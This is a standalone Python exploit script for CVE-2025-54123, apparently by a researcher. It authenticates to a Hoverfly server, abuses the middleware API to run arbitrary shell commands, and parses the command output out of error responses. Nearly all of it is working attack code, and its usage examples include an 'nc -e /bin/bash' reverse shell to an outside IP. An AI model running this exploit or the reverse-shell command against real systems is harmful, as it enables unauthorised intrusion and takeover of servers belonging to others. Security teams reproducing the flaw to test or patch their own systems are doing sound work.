#!/usr/bin/env python3 """ CVE-2025-54123 Professional Exploit ==================================== Hoverfly Authenticated RCE via Middleware Command Injection (CVSS 9.8 | CWE-78) Affected: Hoverfly <= 1.11.3 Author: kasemsh """ import argparse import base64 import json import sys import urllib.error import urllib.request from typing import Tuple, Optional class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' MAGENTA = '\033[95m' CYAN = '\033[96m' BOLD = '\033[1m' END = '\033[0m' class HoverflyExploit: TIMEOUT = 10 def __init__(self, target: str, username: str, password: str, command: str, shell: str = "/bin/bash"): self.target = target.rstrip('/') self.username = username self.password = password self.command = command self.shell = shell self.token = None self.api_endpoint = f"{self.target}/api/v2/hoverfly/middleware" def authenticate(self) -> bool: """Authenticate and get JWT token""" auth_endpoint = f"{self.target}/api/token-auth" credentials = { "username": self.username, "password": self.password } body = json.dumps(credentials).encode('utf-8') req = urllib.request.Request( url=auth_endpoint, data=body, method="POST", headers={ "Content-Type": "application/json", "Accept": "application/json", }, ) try: with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp: response = resp.read().decode("utf-8") data = json.loads(response) self.token = data.get("token") return self.token is not None except urllib.error.HTTPError as exc: if exc.code == 401: return False raise except Exception: return False def build_payload(self) -> dict: """Construct malicious middleware payload""" return { "binary": self.shell, "script": self.command } def send_exploit(self) -> Tuple[str, int]: """Send malicious middleware configuration""" payload = self.build_payload() body = json.dumps(payload).encode('utf-8') headers = { "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36", } # Add token if available if self.token: headers["Authorization"] = f"Bearer {self.token}" req = urllib.request.Request( url=self.api_endpoint, data=body, method="PUT", headers=headers, ) try: with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp: return resp.read().decode("utf-8", errors="replace"), resp.status except urllib.error.HTTPError as exc: return exc.read().decode("utf-8", errors="replace"), exc.code except Exception as e: raise e def extract_output(self, response: str) -> Optional[str]: """Extract command output from error response""" try: data = json.loads(response) error_msg = data.get("error", "") # Extract STDOUT section - it appears after "STDOUT:\n" if "STDOUT:" in error_msg: # Split on STDOUT: and take everything after stdout_parts = error_msg.split("STDOUT:\n") if len(stdout_parts) > 1: # Take the content after STDOUT: and before the closing quote/brace output = stdout_parts[1] # Clean up the trailing JSON artifacts if '"}' in output: output = output.split('"}')[0] elif '"' in output: output = output.split('"')[0] return output.strip() return None except json.JSONDecodeError: # Response might not be JSON, try to extract STDOUT directly if "STDOUT:" in response: parts = response.split("STDOUT:\n") if len(parts) > 1: output = parts[1].split('"}')[0] if '"}' in parts[1] else parts[1].split('"')[0] return output.strip() return None except Exception: return None def exploit(self): """Execute RCE exploit""" print(f"{Colors.CYAN}{Colors.BOLD}") print("=" * 70) print(" CVE-2025-54123 | Hoverfly Authenticated Middleware RCE") print(" CVSS 9.8 CRITICAL | CWE-78 (Command Injection)") print("=" * 70) print(f"{Colors.END}") print(f"{Colors.BOLD}[CONFIG]{Colors.END}") print(f" Target: {Colors.YELLOW}{self.target}{Colors.END}") print(f" Username: {Colors.YELLOW}{self.username}{Colors.END}") print(f" Password: {Colors.YELLOW}{'*' * len(self.password)}{Colors.END}") print(f" Shell: {Colors.YELLOW}{self.shell}{Colors.END}") print(f" Command: {Colors.YELLOW}{self.command}{Colors.END}") print() # Authenticate first print(f"{Colors.BOLD}[*]{Colors.END} Authenticating to {self.target}...") try: if not self.authenticate(): print(f"{Colors.RED}[!] Authentication failed - invalid credentials{Colors.END}") sys.exit(1) print(f"{Colors.GREEN}[+]{Colors.END} Authentication successful") print(f"{Colors.CYAN} Token: {self.token[:50]}...{Colors.END}") print() except Exception as e: print(f"{Colors.RED}[!] Authentication error: {e}{Colors.END}") sys.exit(1) print(f"{Colors.BOLD}[PAYLOAD]{Colors.END}") payload_preview = json.dumps(self.build_payload(), indent=2) print(f"{Colors.BLUE}{payload_preview}{Colors.END}") print() print(f"{Colors.BOLD}[*]{Colors.END} Sending exploit to {self.api_endpoint}...") try: response, status = self.send_exploit() except urllib.error.URLError as e: print(f"{Colors.RED}[!] Connection failed: {e}{Colors.END}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[!] Request failed: {e}{Colors.END}") sys.exit(1) print(f"{Colors.GREEN}[+]{Colors.END} Server responded: HTTP {status}") print() # Show raw response snippet for debugging print(f"{Colors.BOLD}[RAW RESPONSE SNIPPET]{Colors.END}") print(f"{Colors.BLUE}{response[:800]}{Colors.END}") print() output = self.extract_output(response) if output: print(f"{Colors.BOLD}{Colors.GREEN}[COMMAND OUTPUT]{Colors.END}") print("=" * 70) print(output) print("=" * 70) print() print(f"{Colors.GREEN}{Colors.BOLD}[✓] EXPLOIT SUCCESSFUL{Colors.END}") print(f"{Colors.CYAN}Command executed on target system.{Colors.END}") else: print(f"{Colors.YELLOW}[!] Command executed but could not parse output{Colors.END}") print(f"\n{Colors.BOLD}[FULL RAW RESPONSE]{Colors.END}") print("=" * 70) print(response) print("=" * 70) def main(): banner = f"""{Colors.BOLD}{Colors.RED} ██╗ ██╗ ██████╗ ██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗ ██╗ ██████╗ ██████╗███████╗ ██║ ██║██╔═══██╗██║ ██║██╔════╝██╔══██╗██╔════╝██║ ╚██╗ ██╔╝ ██╔══██╗██╔════╝██╔════╝ ███████║██║ ██║██║ ██║█████╗ ██████╔╝█████╗ ██║ ╚████╔╝ ██████╔╝██║ █████╗ ██╔══██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗██╔══╝ ██║ ╚██╔╝ ██╔══██╗██║ ██╔══╝ ██║ ██║╚██████╔╝ ╚████╔╝ ███████╗██║ ██║██║ ███████╗██║ ██║ ██║╚██████╗███████╗ ╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝ CVE-2025-54123 | Authenticated Middleware Command Injection {Colors.END}""" print(banner) parser = argparse.ArgumentParser( description="CVE-2025-54123 Hoverfly Authenticated RCE Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=f"""{Colors.BOLD}Examples:{Colors.END} python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami python3 exploit.py -t http://target:8888 -u user -p secret -c "id" --shell /bin/sh python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "nc -e /bin/bash 10.10.14.5 4444" """, ) parser.add_argument("-t", "--target", required=True, help="Hoverfly API endpoint (e.g., http://localhost:8888)") parser.add_argument("-u", "--username", required=True, help="Hoverfly admin username") parser.add_argument("-p", "--password", required=True, help="Hoverfly admin password") parser.add_argument("-c", "--command", required=True, help="Command to execute on target") parser.add_argument("--shell", default="/bin/bash", help="Shell binary to use (default: /bin/bash)") args = parser.parse_args() exploit = HoverflyExploit( target=args.target, username=args.username, password=args.password, command=args.command, shell=args.shell ) exploit.exploit() if __name__ == "__main__": main()